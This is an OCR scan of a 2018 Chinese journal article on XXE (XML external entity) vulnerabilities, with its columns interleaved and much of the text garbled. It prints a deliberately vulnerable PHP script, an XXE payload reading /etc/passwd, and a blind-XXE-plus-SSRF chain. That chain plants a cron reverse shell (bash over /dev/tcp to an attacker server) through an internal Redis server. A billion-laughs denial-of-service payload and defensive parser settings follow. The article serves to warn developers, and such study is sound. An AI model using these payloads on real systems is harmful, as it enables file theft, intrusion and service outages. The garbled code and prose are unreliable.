篼６ 无线旺联科技 Ｗｉ ｒｏ１ ｅ ｓ ｓ Ｉ１３ｔ ｅＦｎｅｔ Ｔｅｃｈｎ（）ｈ）ｇｙ ０．６ ＸＸＥ漏洞攻击与防御研究 邱永哲 （中国科学技术馆，北京 １ ０００１ ２） 摘 要：为提高ｗｅｂ应用程序接口的安全性，文章介绍了一种基于ｘＭＬ外部实体的注入漏洞——＿ＸｘＥ漏洞通过列举该漏 洞的一些攻击方式及其造成的危害，能对程序开发者起到警示作用，最后给出了该漏洞的防御方法，对安全实现Ｗｅｂ应用程 序的接口提供了参考 关键词：Ｗｅｂ应用程序；接口；ＸＭＬ；注入漏洞 当前，伴随着云汁算的蓬勃发展，互联 Ｊ、 用正逐步 迈向徽服务化、容器化、接口化，瓦联网入Ｖ１也正在从传统 ［＇１＂ＪＰＣｌｈｉ种类繁多的智能设备干¨１ｏＴ＇ｌ殳备转移。 此，随之带 来的 络安全问题也愈发严峻，引起众多政府组织的关注 ＿＿ｉ２０１７年４月，川：放式Ｗｅｂ应 ］程序安全项¨发４ｉ７Ｊ＇２０１７ｑ： 。（Ｅｎｔｉｔｙ）、沣释（Ｃｏｍｍｅｎｔｓ）。ＸＸＥｉＷｉｌ，１就是山ＤＴＤｆ｛１的 “实体”引发 。 Ｗｅｂ安令十大问题，首次将“未受有效保护的心用程序的调 川接ｆ＿］（Ａｐｐｌｉｃａｔｉｏｎ Ｐｒｏｇｒａｍｍｉｎｇ Ｉｎｔｅｒｆａｃｅ，ＡＰＩ）”列入了 ＯＷＡＳＰ Ｔｏｐ １０，指出ｊ 应用程序接Ｕ仔在易受攻击的风险。 常 的应用程序接口之间数据传递的格式有ＸＭＬ，￣ＩＪＪＳＯＮ 等，ｆｕＪ果住这些传递数据的过 中未对接口进行保护，将造 成服务器被攻 的 重安全事故【 。本文在ＸＭＬ的基础上 介 了一种较为， 重的注入漏洞——ｘＸＥ漏洞，并针对该漏 洲列举Ｊ 一些攻 手段和防御订法，为应用稗序接口的安全 实现 ｝：发提供 参考。 １ ＸＸＥ漏洞简介 １．２ ＸＸＥ漏洞原理 图１ ＸＭＬ文档 在ＸＭＬ １．０标准当［ｆ１ ‘次引入了“ 体（Ｅｎｔｉｔｙ）”的概 １．１ ＸＭＬ基础 ＸＭＬ是一干ｌ｛】标记语言， ｊ 傲广泛地刖米作为跨平台 念，其作爿Ｊ类似于Ｗｏｒｄ￣ 川 『ＦＪ“宏”。实体标识符的定义方 分为两种，一种足在ＤＴＤｑｑ内部声明 艾体： 之『｝ｉ］交 数据的形式，卞要针对不同的数据内容，通过不 的 式化描述于段充成最终的形式表达 。ｘＭＬ能定义数 的结构、存储 ｉ息，例如将小张发送给小李的 信存储为 ＸＭＬ格式： ＜‘？ｘｍｌ ｖｅｒｓｉｏｎ＝”１．０”ｌ－）＞ ＜ｍｅｓｓａｇｅ＞ ＜！ＥＮＴＩＴＹ文体名称“ 体的值”＞ 另一利，址 ＤＴＤ中引入外 或者： 体： ＜！ＥＮＴＩＴＹ实体名称ＳＹＳＴＥＭ“ＵＲＩ”＞ ＜！ＥＮＴＩＴＹ实体名称ＰＵＢＬＩＣ“ｐｕｂｌｉｃ ＩＤ”“ＵＲ１”＞ 其中，外 实体呵以 ＩＪ仔储 本地或者远程的文件， Ｉｘｌｌ｝￣ＸＭＬ迓 处理ＤＴＤ定义 ｝］的外 体时，如不做好 防护，将 ｔ－｛ 泄露、ＳＳＲＦ等漏涮。这也ｌ｛皮叫作是ＸＸＥ （ＸＭＬ Ｅｘｔｅｒｎａｌ Ｅｎｔｉｔｙ ｉｎｊｅｃｔｉｏｎ）漏洲， ＸＭＬ外部吱体 ＜ｒｅｃｅｉｖｅｒ＞ｄ＇ ＜，／ｒｅｃｅｉｖｅｒ＞ ＜ａｄｄｒｅｓｓｅｒ＞＇Ｊ、张＜／ａｄｄｒｅｓｓｅｒ＞ ＜ｃｏｎｔｅｎｔ＞你吃饭ｊ ？我们 ＜／ｍｅｓｓａｇｅ＞ 『』【Ｊ图ｌ所 ， ‘个充 的ＸＭＬ文档应、 １也括ＸＭＬ声 汴入。对于ＸＸＥ漏洞的测试，【ｌｊ‘以使用ＤＮＳ带外奁询的方式 ［ＩＪＪ、 元素，仃时也包括文 类犁定义（Ｄｏｃｕｍｅｎｔ Ｔｙｐｅ 米进行验证，例如某服务 能处理ＸＭＬ格式的请求数士ｌｃ， Ｄｅｆｉｎｉｔｉｏｎ，ＤＴＤ）。 ｌｑ验ｔｉｔ！． ＤＴＤ町以将它行作足一个或者多个ＸＭＬ义档的模 可将如ＦＰｏＣ发送给服务 进行漏ｉ扳， 这 可以定义ＸＭＬ文什巾的元素、死索的属性、元 素的排列方式、庀素包含的内容等。ＤＴＤ文 类 定义ｄＩ ４个父键字绀成：元素（Ｅｌｅｍｅｎｔ）、属性（Ａｔｔｒｉｂｕｔｅ）、实体 ＜？ｘｍｌ ｖｅｒｓｉｏｎ＝”１．０”？＞ ＜！Ｄ０ＣＴＹ ＰＥ ａ［ ＜！ＥＮＴＩＴＹ ｂ ＳＹＳＴＥＭ“ｈｔｔｐ．／／ｘｘｘ．ｃｏｒｎ／ｔｅｓｔ．ｄｔｄ”＞ 作者简介：邱永哲（１９８ｌ一），男，北京人，工程师，学士；研究方向：网络科普 ３４—— 第６期 ２０１８年３月 ＮＯ．６ 无线互联科技·网络地带 ＭａｒＣｈ，２０１８ Ｊ＞ ＜ｃ＞＆ｂ：＜／ｃ＞ ２．２服务端请求伪造 在某些情况下服务器端存在ｘＸＥ漏洞，但只能使ｆ｝ｊ 借助ＸＸＥ漏洞，攻击者能够实现对服务器的任意文件 ｈｔｔｐ协议通过带外查询捡测，此时该ＸＸＥ漏洞被称为Ｂｌｉｎｄ 读取、拒绝服务攻击、代理扫描内网等。但是不同的ＸＭＬ解 ＸＸＥ。【｛】ｆ无法使用ｆｉｌｅ协议进行文件读取，Ｂｌｉｎｄ ＸＸＥ尤法 析器对外部实体的处理规则不同，例如在ＰＨＰ中常用来处 带来更大的攻击而，但足如果能结合ＳＳＲＦＪ￣务器端请求伪 ￣－ＸＭＬ数据的函数有ｓｉｍｐｌｅｘｍｌ ｌｏａｄ ｓｔｒｉｎｇ，ｌｆｌｅｘｐａｔ库中的 造，往往能发挥至关重要的作用。 ｘｒｎｌ ｐａｒｓｅ，ｘｍｌ ｐａｒｓｅ函数默认情况下不会解析ＤＴＤ中的 例如１某企业一台处于网络边界的Ａｐａｃｈｅ Ｊ］［￣务器存住 外部实体，但ｓｉｍｐｌｅｘｍｌ ｌｏａｄ ｓｔｒｉｎｇ默认会解折外部实体导 Ｂｌｉｎｄ ＸＸＥ漏洞，该服务器使用双网卡连接了企业内部网络 致ＸＸＥ。除ＰＨＰ以外，Ｊａｖａ、Ｐｙｔｈｏｎ平台中处Ｙ￣－．ＸＭＬ的函数 ｌ０．４．１０．０／２４，企业内网有一台未授权即可访问的ＲｅｄｉｓＪ］￣务器 都可能会产生ＸＸＥ漏涧。 １０．４．１０．７，如果这台服务器未做好ＳＳＲＦ防护，那么此时就可 ２ ＸＸＥ漏洞利用 以利用这枚Ｂｉｎｄ ＸＸＥ漏洞直接发起对内网Ｒｅｄｉｓ￣务器的 攻击： ＜？ｘ１１１ｌ ｖｅｒｓｉｏｎ＝”１．０”？＞ ２．１任意文件读取 侄意文件读取是ＸＸＥ漏洞最常见的利用方式，本文在 Ｌｉｎｕｘ平台下搭建了基于ｄｏｃｋｅｒ容器的测试环境来测试演示 该漏洞的攻击过程 】。 首先使用ｄｏｃｋｅｒ容器创建Ａｐａｃｈｅ＋ＰＨＰ架构服务器， 随后 服务器ｗｅｂ日录中创建包含有ＸＸＥ漏洞的ＰＨＰ丈件 ｓｉｍｐｌｅｘｍｌ ｌｏａｄ ｓｔｒｉｎｇ．ｐｈｐ，内容为： ＜？ｐｈｐ ＜！Ｄ０ＣＴＹＰＥ ａ［ ＜！ＥＮＴＩＴＹ ｂ ＳＹＳＴＥＭｇｏｐｈｅｒ．ｐｈｐ ＞ “ｈｔｔｐ：／／ｌ２３．１２３．１２３．１２３／ 】＞ ＜ｃ＞＆ｂ：＜／ｃ＞ 其中１２３．１２３．１２３．１２３为攻击者的服务器，ｇｏｐｈｅｒ．ｐｈｐ的内 ￥ｄａｔａ＝ｆｉｌｅｇｅｔｃｏｎｔｅｎｔｓ（‘ｐｈｐ：／／ｉｎｐｕｔ’）； ￥ｘｍｌ＝ｓｉｍｐｌｅｘｍｌｌｏａｄｓｔｒｉｎｇ（￥ｄａｔａ）； 容为： ＜？ｐｈｐ ｈｅａｄｅｒｆＬｏｃａｔｉｏｎ：ｇｏｐｈｅｒ：／／１０．４．１０．７：６３７９／ ●＞ ３％０ｄ％０ａ￥３％０ｄ％０ａｓｅｔ％０ｄ％０ａ￥１％０ｄ％０ａｌ％０ｄ Ｈ『Ｊ在该文件中使用ＰＨＰ的ｓｉｍｐｌｅｘｍｌ ｌｏａｄ ｓｔｒｉｎｇ函数来 ％０ａＳ６０％０ｄ％０ａ％０ａ％０ａ＊／ｌ ｝ ｂａｓｈ—ｉ＞＆／ｄｅｖ／ 接收处理ＸＭＬ数据。接下来使用请求构造工具Ｐｏｓｔｍａｎ发 ｔｃｐ／ｌ２３．１２３．１２３．１２３／７７７７ ０＞＆１％０ａ％０ａ％０ｄ％０ａ＊４％０ｄ％０ａ 送以下的ＸＭＬ请求： ＜？ｘｍｌ ｖｅｒｓｉｏｎ＝”１．０”ｅｎｃｏｄｉｎｇ＝”ｕｔｆ－８”？＞ ￥６％０ｄ％０ａｃｏｎｆｉｇ％０ｄ％０ａ￥３％０ｄ％０ａｄｉｒ％０ｄ％０ａ￥１６％０ｄ％ ０ａ／ｖａｒ／ｓｐｏｏｌ／ｃｒｏｎ／％０ｄ％０ａ＊４％０ｄ％０ａ￥６％０ｄ％０ａｃｏｎｆｉｇ％０ ＜？ＤＯＣＴＹＰＥ ｘｘｅ［ ＜！ＥＬＥＭＥＮＴ ｎａｍｅ ＡＮＹ＞ ｄ％０ａ￥３％０ｄ％０ａｓｅｔ％０ｄ％０ａＳ１０％０ｄ％０ａｄｂｆｉｌｅｎａｍｅ％０ｄ％０ ａ￥４％０ｄ％０ａｒｏｏｔ％０ｄ％Ｏａ＊ｌ％０ｄ％０ａ￥４％０ｄ％０ａｓａｖｅ％Ｏｄｏ ／０ ０ａ、？＞ ＜？ＥＮＴＩＴＹ ｘｘｅ ＳＹＳＴＥＭ“ｆｉｌｅ：／／／ｅｔｃ／ｐａｓｓｗｄ”＞］＞ ＜ｒｏｏｔ＞ ＜ｎａｍｅ＞＆ｘｘｅ；＜／ｎａｍｅ＞ 这时候攻击者将商接获得内网Ｒｅｄｉｓ服务器的权限进而 对企业内网进行进一步渗透。可见此Ｈ￣Ｂｌｉｎｄ ＸＸＥ通过 ＳＳＲＦ的结合极大地拓展了攻击面，为攻击者进 ‘步的突破 请求响应结果如图２所示，可以看到这里使用ｆｉｌｅ协议成 创造了条件。 ＜／ｒｏｏｔ＞ 功读取到ＴＮ务器文件／ｅｔｃ／ｐａｓｓｗｄ，造成了服务器文件信息 ２．３拒绝服务攻击 泄露，利用该方法还有可能读取到服务器中存放的数据库 密码、ＳｖＮ服务器密码等其他敏感信息。 Ｐ０５Ｔ …… 一由于ＸＸＥ漏洞是由服务器端接收并处理用户恶意数据 造成，因此攻击者还可以通过构造复杂的逻辑来消耗服务 器的运算资源，最终导致拒绝服务攻击。例如向一台存往 ＸＸＥ漏洞的服务器发送如下的ＸＭＬ数据： 州ｎ１ ‘、 晴 ■ｍＬｂ．ｔ ● 口ｔ Ｉ…脚ｔ 。州 …ｂｍＨＦ － “ｎ州 …ｋ… ＜？ｘｍｌ ｖｅｒｓｉｏｎ＝“１．０”？＞ ｌ ‘｝柚 ｏ ‘１ ｒ＿∞ ‘ ｆ ｒｈ ｌ ｔ‘∞口 Ｈｅｆ ｝‘１ｌＬ日●日 一＾ｎ ４‘Ｉｎ日Ｔ ｎ●ｓ Ｔ ‘Ｔｉｔ● ｃ，■ ●■‘ ’ ５·ｑ－呲 ＜？ＤＯＣＴＹＰＥ ｌｏｌｚ［ ＜！ＥＮＴＩＴＹ １ｏｌ“１ｏｌ”＞ ５‘ ∞ ｒ＿－ｐ ■￡ 曲 ＜？ＥＬＥＭＥＮＴ ｌｏｌｚ ｆ≠｝ＰＣＤＡＴＡ１＞ ： …ｎ惭 一 ＾■■■ ｄＢ州’∞： １：＇日舶哪：，Ｌ ，曲｝ｎ／懈ｒ，曲ｉｎ，，’口ｌ。口【ｎ“ｎ础：２：晰／ ｎ／ 曲 ／咖ｋ￣ｇｌｎ目 ：峨８５５ ｃ：／ｂ ，ｂ ， ９ ，Ⅶｒ ＜？ＥＮＴＩＴＹ １ｏｌｌ“＆ｌｏｌ；＆ｌｏｌ；＆ｌｏｌ；＆ｌｏｌ；＆ｌｏｌ；＆ｌｏｌ；＆ｌｏｌ；＆ｌ ０ ｌｎ ＿ ５： ｋ驴ｍ啦，ｕ ＿Ｔ哪，岫ｒ／‘ｂ ／咖ｏｌ；＆ｌｏｌ；＆ｌｏｌ；’’＞ ＜！ＥＮＴＩＴＹ １ｏ１２“＆１ｏｌｌ；＆ｌｏｌ１；＆ｌｏｌｌ：＆ｌｏｌｌ：＆１ｏｌ１：＆ｌｏｌ１： ＆ｌＯｌ１：＆ｌＯｌ１：＆ｌｏｌｌ：＆１ｏｌｌ：”＞ ＜！ＥＮＴＩＴＹ ｌｏ１３“＆ｌｏ１２；＆ｌｏ１２；＆ｌｏ１２；＆ｌｏ１２；＆ｌｏ１２；＆ｌｏ１２， ＆ｌｏ１２；＆ｌｏ１２；＆ｌｏ１２；＆ｌｏ１２；”＞ ｍ ｌ艘ｍ酣 Ⅷ ，ｍ●¨＝， ，曲 ， 一。口 ｎ＿ 岬 １ｎ竹岬Ｈ ０ ／嵋ｒ，，ｐｏｄ／岬，墉ｒ，ｌｂｈ，ｎ。ｂ口 图２ ＸＸＥ任意文件读取 ３５ ＜！ＥＮＴＩＴＹ １ｏ１４“＆ｌｏ１３；＆ｌｏ１３；＆ｌｏ１３；＆ｌｏ１３；＆ｌｏ１３；＆ｌｏ１３； 第６期 ＮＯ。６ ２０１８年３月 ＆ｌｏ１３；＆ｌｏ１３；＆ｌｏ１３；＆ｌｏ１３；”＞ 无线互联科技·网络地带 ＭａＦＣｈ，２０ｌ８ ＜！ＥＮＴＩＴＹ １ｏ１５“＆ｌｏ１４；＆ｌｏ１４；＆ｌｏ１４；＆ｌｏ１４；＆ｌｏ１４；＆ｌｏ１４； ＆ｌｏ１４；＆ｌｏ１４；＆ｌｏ１４；＆ｌｏ１４；’’＞ 例ＯＴｅｘｐｅｃｔ协议，那么ＸＸＥ漏洞将直接可以被转化为命令执 行漏洞。 ＜！ＥＮＴＩＴＹ ｌｏ１６“＆ｌｏ１５；＆ｌｏ１５；＆ｌｏ１５；＆ｌｏ１５；＆ｌｏ１５；＆ｌｏ１５； ＆ｌｏ１５；＆ｌｏｌ５；＆１ｏ１５；＆１ｏ１５；”＞ ＜！ＥＮＴＩＴＹ ｌｏ１７“＆ｌｏ１６；＆ｌｏ１６；＆ｌｏ１６；＆ｌｏｌ６；＆１ｏ１６；＆ｌｏ１６； ＆ｌｏ１６；＆ｌｏ１６；＆ｌｏ１６；＆ｌｏ１６；’’＞ ＜￣ＥＮＴＩＴＹ ｌｏ１８“＆ｌｏ１７；＆ｌｏ１７；＆ｌｏ１７；＆ｌｏ１７；＆ｌｏ１７；＆ｌｏ１７； ＆ｌｏ１７；＆ｌｏｌ７；＆ｌｏ１７；＆１ｏ１７；”＞ ＜！ＥＮＴＩＴＹ １ｏ１９“＆ｌｏ１８；＆ｌｏ１８；＆ｌｏ１８；＆ｌｏ１８；＆ｌｏ１８；＆ｌｏ１８； 图３ ＸＸＥ漏洞各平台支持的协议 ＆ｌｏ１８；＆ｌｏ１８；＆ｌｏ１８；＆ｌｏ１８；”＞］＞ ＜ｌｏｌｚ＞＆ｌｏ１９；＜／ｌｏｌｚ＞ ３ ＸＸＥ漏洞防御方法 对ＸＸＥ漏洞的防御要做到两点。 当服务器解析该ＸＭＬ数据时发现它只包含一个根元素 （１）过滤用户提交的Ｘ Ｍ Ｌ数据，禁止出现 “ｌｏｌｚ”，该元素包含了文本“＆１ｏ１９；”，然而“１ｏｉ９”是定义 ＜！ＤＯＣＴＹＰＥ、＜！ＥＮＴＩＴＹ，ＳＹＳＴＥＭ和ＰｕＢＬＩＣ等关键字。 的一个实体，该实体被扩展为包含十个“＆ｌｏ１８”的字符串， （２）在源代码层面禁止使用外部实体。 但是“１ｏ１８”又是一个被定义的实体，又继续扩展为包含十个 ＃ＰＨＰ “＆ｌｏ１７”的字符串……如此下去所有的实体扩展被处理完 毕后这个ＸＭＬ文档实际上包含了将近１０９个字符串“ｌｏｌ”，将 占用接近３ＧＢ的内存，最终服务器内存资源被瞬间消耗殆尽 ｌｉｂｘｍｌｄｉｓａｂｌｅｅｎｔｉｔｙｌｏａｄｅｒ（ｔｒｕｅ）； ——————＃Ｊａｖａ Ｄ Ｏ Ｃ Ｕ ｍ ｅ ｎ ｔ ｂ Ｕ ｉ １ ｄ ｅ ｒ Ｆ ａ ｃ ｔ Ｏ ｒ Ｙ ｄ ｂ ｆ＝ 而造成ＤＯＳ拒绝服务攻击。这段代码被称为“Ｂｉｌｌｉｏｎ ｌａｕｇｈｓ ＤｏｃｕｍｅｎｔｂｕｉｌｄｅｒＦａｃｔｏｒｙ．ｎｅｗｌｎｓｔａｎｃｅ０； ａｔｔａｃｋ”。 ｄｂｆ．ｓｅｔＥｘｐａｎｄＥｎｔｉｔｙＲｅｆｅｒｅｎｃｅｓ（ｆａｌｓｅ）； ２．４其他危害 ＃Ｐｙｔｈｏｎ ｆｒｏｍ ｌｘｍ¨ｍｐｏｒｔ ｅｔｒｅｅ 事实上，ＸＸＥ漏洞除了上述一些攻击利用方式之外，也 ｘ ｒｎＩＤａｔａ＝ｅｔ ｒｅｅ．Ｐａｒ ｓｅｆＸｍ１ＳＯＵ ｒｃ ｅ。ｅｔｒｅ ｅ． 可能会出现更多的攻击方式。ＸＸＥ漏洞在不同语言和平台上 可能支持的协议如图３所示。 ＸＭＬＰａｒｓｅ（ｒｅｓｏｌｖｅ——ｅｎｔｉｔｉｅｓ＝Ｆａｌｓｅ）） 而对于ＰＨＰ应用程序来说，如果安装了更多ＰＨＰ的扩展 【参考文献】 ［１］维基百奔 ＸＭＬ［ＥＢ／ＯＬ］．（２０１７—１２—１５）［２０１８—０２—０８］．ｈｔｔｐｓ：／／ｚｈ．ｗｉｋｉｐｅｄｉａ．ｏｒｇ／ｗｉｋｉ／ＸＭＬ． ［２］维基百种文档类型定义［ＥＢ／ＯＬ］．（２０１７—１２—２６）［２０１８—０２—０８］．ｈｔｔｐｓ：／／ｚｈ．ｗｉｋｉｐｅｄｉａ．ｏｒｇ／ｗｉｋｉ／￣＇３类型定义．－ 【３］Ｔｉｍｏｔｈｙ Ｄ．Ｍｏ—ｇａｎ，Ｏｍａｒ ＡＩ ｌｂｒａｈｉｍ．ＸＭＬ Ｓｃｈｅｍａ，ＤＴＤ，ａｎｄ Ｅｎｔｉｔｙ Ａｔｔａｃｋｓ－Ａ Ｃｏｍｐｅｎｄｉｕｍ ｏｆ Ｋｎｏｗｎ Ｔｅｃｈｎｉｑｕｅｓ［ＥＢ／ＯＬ］．（２０１７一 ｌＯ一２５）［２０１８－０２—０８］＿ｈｔｔｐｓ：∥ｗｗｗ．Ｖｓｅｃｕｒｉｔｙ．ｃｏｍ／／ｄｏｗｎｌｏａｄ／ｐａｐｅｒｓ／ＸＭＬＤＴＤＥｎｔｉｔｙＡｔｔａｃｋｓ．ｐｄｆ． ［４］维基百科．Ｂｉｌｌｉｏｎ ｌａｕｇｈｓ ａｔｔａｃｋ［ＥＢ／ＯＬ］．（２０１７－ｌ】·ｌ５）［２０１８—０２一Ｏ８】．ｈｔｔｐｓ：／／ｅｎ．ｗｉｋｉｐｅｄｉａ．ｏｒｇ／ｗｉｋｉ／Ｂｉｌｌｉｏｎｌａｕｇｈｓａｔｔａｃｋ． —【５］腾讯安全应急响应中·心．未知攻焉知防＿ｘｘＥ漏洞攻防［ＥＢ／ＯＬ］．（２０１８—０１－ｌ０）【２０１８－０２—０８］．ｈｔｔｐｓ：／／ｓｅｃｕｒｉｔｙ．ｔｅｎｃｅｎｔ．ｃｏｍ／ｉｎｄｅｘ．Ｐ ｈｐ／ｂｌｏｇ／ ｍｓｇ／６９． Ｓｔｕｄｙ ｏｎ ｔｈｅ ＸＸＥ ｖｕｌｎｅｒａｂｉｌｉｔｙ ａｔｔａｃｋｓ ａｎｄ ｄｅｆｅｎｓｅ ＱｉｕＹｏｎｇｚｈｅ （Ｃｈｉｎａ Ｓｃｉｅｎｃｅ ａｎｄ Ｔｅｃｈｎｏｌｏｇｙ Ｍｕｓｅｕｍ．Ｂｅｉｊｉｎｇ １０００１２．Ｃｈｉｎａ） Ａｂｓｔｒａｃｔ：Ｉｎ ｏｒｄｅｒ ｔＯ ｉｍｐｒｏｖｅ ｔｈｅ ｓｅｃｕｒｉｔｙ ｏｆ Ｗｅｂ ａｐｐｌｉｃａｔｉｏｎ ｐｒｏｇｒａｍ ｉｎｔｅｒｆａｃｅ，ｔｈｉｓ ｐａｐｅｒ ｉｎｔｒｏｄｕｃｅｓ ａ ｖｕｌｎｅｒａｂｉｌｉｔｙ ｉｎｊｅｃｔｉｏｎ ｂａｓｅｄ ｏｎ ＸＭＬ ｅｘｔｅｒｎａｌ ｅｎｔｉｔｙ．Ｂｙ ｅｎｕｍｅｒａｔｉｎｇ ｓｏｍｅ ｏｆ ｔｈｅ ｖｕｌｎｅｒａｂｉｌｉｔｉｅｓ ａｎｄ ｔｈｅ ｈａｒｍｓ ｔｈｅｙ ｃａｕｓｅ，ｔｈｉｓ ｐｒｏｇｒａｍ ｃａｎ ｐｌａｙ ａ ｗａｒｎｉｎｇ ｒｏｌｅ ｔｏ ｐｒｏｇｒａｍ ｄｅｖｅｌｏｐｅｒｓ．Ａｔ ｌａｓｔ，ｔｈｅ ｄｅｆｅｎｓｉｖｅ ｍｅｔｈｏｄ ｏｆ ｔｈｉｓ ｌｏｏｐｈｏｌｅ ｉｓ ｇｉｖｅｎ，ｗｈｉｃｈ ｐｒｏｖｉｄｅｓ ａ ｒｅｆｅｒｅｎｃｅ ｆｏｒ ｔｈｅ ｒｅａｌｉｚａｔｉｏｎ ｏｆ Ｗｅｂ ａｐｐｌｉｃａｔｉｏｎ ｉｎｔｅｒｆａｃｅ ｓａｆｅｌｙ． Ｋｅｙ ｗｏｒｄｓ：Ｗｅｂ ａｐｐｌｉｃａｔｉｏｎ；ｉｎｔｅｒｆａｃｅ；ＸＭＬ；ｉｎｊｅｃｔｉｏｎ ｖｕｌｎｅｒａｂｉｌｉｔｙ 一３６—